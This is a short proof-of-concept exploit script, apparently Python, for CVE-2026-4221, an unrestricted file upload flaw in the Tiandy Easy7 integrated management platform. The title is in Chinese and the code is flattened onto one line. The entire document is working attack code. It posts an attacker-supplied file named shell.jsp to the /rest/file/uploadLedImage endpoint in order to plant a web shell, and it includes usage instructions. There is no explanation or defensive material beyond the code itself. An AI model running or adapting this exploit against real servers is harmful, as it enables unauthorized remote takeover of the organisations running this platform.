CVE-2026-4221: Tiandy Easy7 综合管理平台文件上传漏洞

import requests import sys # CVE-2026-4221 PoC - Unrestricted File Upload in Tiandy Easy7 IMP # Target: /rest/file/uploadLedImage endpoint def exploit(target_url, file_content): """ Exploit for CVE-2026-4221: Unrestricted File Upload Upload malicious file to target server """ upload_url = f"{target_url.rstrip('/')}/rest/file/uploadLedImage" files = { 'File': ('shell.jsp', file_content, 'application/octet-stream') } try: print(f"[*] Uploading payload to {upload_url}") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> ") print(f"Example: python {sys.argv[0]} http://target.com malicious.jsp") sys.exit(1) target = sys.argv[1] with open(sys.argv[2], 'r') as f: content = f.read() exploit(target, content)